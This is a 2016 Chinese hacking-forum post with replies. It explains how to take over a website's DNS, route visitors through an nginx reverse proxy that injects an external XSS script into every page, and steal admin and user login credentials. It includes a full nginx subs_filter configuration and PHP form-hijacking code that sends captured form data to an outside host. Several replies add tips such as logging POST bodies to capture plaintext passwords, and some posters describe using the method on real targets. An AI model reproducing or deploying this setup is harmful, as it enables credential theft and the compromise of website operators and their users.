利用反代获取管理员信息与脱裤

2016-12-29 13:20:38 53 1377

思路来源于https://www.t00ls.net/thread-37421-1-1.html
这个帖子里讨论的
假如我们运气好社工到了域名密码
能否做一个类似CND加速代理的东西,把域名解析到我们自己的服务器,然后在我们自己服务器上监控数据截取后台地址及密码等敏感信息

答案肯定是可以的,而且nginx反代是最方便的玩法,但仅仅获取管理密码,会不会太无聊了?
脱裤理论上也是可以的~
这样即使拿不到服务器权限,也可以危害到数据库。

思路大概是这样:
获取到域名或dns权限-配置cname 或者a解析到自己的反代服务器-反代替换所有数据包加入xss代码-获取到登录表单


0x01 nginx反代配置

替换包内容可以用ngx_http_subs_filter_module来解决,效果都是差不多的。

具体的安装过程和普通的三方模块一样
不会的可以参考:http://www.cnblogs.com/dudu/p/nginx-subs_filter.html
安装过程不再赘述

配置
新建一个站点的配置文件,
在/etc/nginx/nginx.config中配置subs_filter
如下内容
server
        {
        listen          80;
        server_name     www.反代服务器.com;
        location / {
                proxy_pass              http://www.目标服务器.cn;
                proxy_redirect          off;
                proxy_cache nuget-cache;
                proxy_cache_valid 168h;
                proxy_ignore_headers Set-Cookie Cache-Control;
                proxy_set_header        X-Real-IP       $remote_addr;
                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
                subs_filter 11001072    123456789;
                index   index.html index.htm index.php;
                }
        }
这里的subs_filter   11001072是网站上需要替换的代码,  123456789是你想替换上去的内容
一般就替换</body>到<script src=http://xss.net/xss></script></body>
重启nginx服务


systemctl restart nginx

另外 配置文件里有一个 sub_filter_once on | off;
是控制替换次数的 on就会替换一次 off就全部替换  看具体情况而定

0x02 xss代码配置
这里需要用到xss的表单劫持,一般用xss.js就够了。
百度到的xss平台一般都有这个模块,http://webxss.net/ 比如这个。。

或者用一些第三方模块:

  1. <?php /**
  2. * @desc 转发文件
  3. * @team C0dePlay Team
  4. * @author Yaseng WwW.Yaseng.Me [Yaseng@UAUC.NET]
  5. */ ini_set('display_errors', 'Off'); $id=$_GET['id']; if($_GET['y']){ $funcname=$_GET['funcname'];
  6. $formname='"'.$_GET['formname'].'"'; $formid='"'.$_GET['formid'].'"'; echo "
  7.         var  xurl='http://xxx.sinaapp.com/xxxxx/xform.php?id={$id}';
  8.         var form= ( $formname ) ?  document.forms[$formname] :  document.getElementById($formid);

  9.         "; if($funcname){ echo 'function getForm(e){var t,n="",r="",i,s;for(t=0;t<e.length;t++){i=e[t];
  10. if(i.name!=""){if(i.type=="select-one")s=i.options[i.selectedIndex].value;else if(i.type=="checkbox"
  11. ||i.type=="radio"){if(i.checked==0)continue;s=i.value}else{if(i.type=="button"||i.type=="submit"
  12. ||i.type=="reset"||i.type=="image")continue;s=i.value}s=encodeURIComponent(s),n+=r+i.name+"="+s,r="&"}}return n} '."
  13.      $funcname=xss.proxy($funcname,function(){
  14.                xss.ajax(xurl,getForm(form));

  15.                })" ;

  16.         }else{ echo 'xss.xform(form,xurl);';

  17.         }

  18. }else{ $url=$_SERVER['HTTP_REFERER']; $data=""; foreach($_REQUEST as $k=>$v){ $data.="|$k=$v";

  19.   }

  20. file_get_contents("http://xxx.sinaapp.com/index.php?do=api&id={$id}&data={$data}&url={$url}");

  21. } ?>
都可以实现。

0x03 最后
都配置ok之后,再打开目标站的就会自动被解析到我们的反代服务器,然后会员、管理员登录信息就都会被获取到xss平台,可以实现类似脱裤的效果。

成功案例参考:

关于作者

ziwen18篇文章374篇回复长春市环宇繁星科技有限公司 CEO

信息安全爱好者 python码农

评论53次

要评论?请先  登录  或  注册
  • 53楼
    2017-1-5 18:16

    @ziwen 就是裤子。

  • 52楼
    2017-1-5 16:33
    注册用户

    几年就玩过。。当时为了一套源码,找PY要了域名库,直接在自己机子上开了个SNIFFER,抓到密码就OK了,当时没想这么多。

    1

    域名库是什么黑科技

  • 51楼
    2017-1-5 15:28

    几年就玩过。。当时为了一套源码,找PY要了域名库,直接在自己机子上开了个SNIFFER,抓到密码就OK了,当时没想这么多。

  • 50楼
    2017-1-5 15:02
    B1u3W01f

    登陆表单中密码如果在发送前没有做hash处理,可以修改反代nginx access log格式,加上 $request_body 就可以记录post内容,然后账号密码静静的躺在日志里$request_body 适用与 proxy_pass 和 fastcgi_pass 模式下,lz说的反代场景正好支持

    1

    但是日志里还会有其他东西 会不会不是很方便呢 另外xss平台还可以获取cookie 这样就免去了很多麻烦

  • 49楼
    2017-1-4 23:32

    登陆表单中密码如果在发送前没有做hash处理,可以修改反代nginx access log格式,加上 $request_body 就可以记录post内容,然后账号密码静静的躺在日志里$request_body 适用与 proxy_pass 和 fastcgi_pass 模式下,lz说的反代场景正好支持

  • 48楼
    2017-1-4 21:09

    让我打开了 另外的一个思路

  • 47楼
    2017-1-4 17:40

    这个玩的比较6

  • 46楼
    2017-1-3 15:13

    感觉跟7ghost实现的效果一样

  • 45楼
    2017-1-3 01:01

    思路不错,学习了。。。

  • 44楼
    2017-1-2 23:31

    没有试过 学习了 感谢分享!

  • 43楼
    2017-1-2 22:31

    之前都不知道这个办法,现在来看,确实是一条非常不错的搞站选择。

  • 42楼
    2017-1-2 22:22

    改天有机会试试

  • 41楼
    2017-1-2 17:00

    这个思路好,为什么以前我就没想过呢

  • 40楼
    2017-1-2 09:12

    开眼界了,还可以这样玩,谢谢~

  • 39楼
    2017-1-2 06:12

    我觉得改host这样应该也可以吧?

  • 38楼
    2017-1-2 00:15

    我就缺这个 前几天就通过找回密码漏洞拿到目标站的域名权限现在可以继续下一步了

  • 37楼
    2017-1-2 00:01

    这个还是第一次接触,我去测试下,感谢楼主

  • 36楼
    2017-1-1 20:40

    好像有个ghost啥的工具?

  • 35楼
    2017-1-1 20:31

    谢谢大神的分享!

  • 34楼
    2017-1-1 18:32
    flower

    一个nginx反向代理就可以了 都不用那么麻烦 连sub_filter模块都不用装 日志开启记录POST 内容

    1

    这个也可以 但上面我说过 分析日志整理日志不方便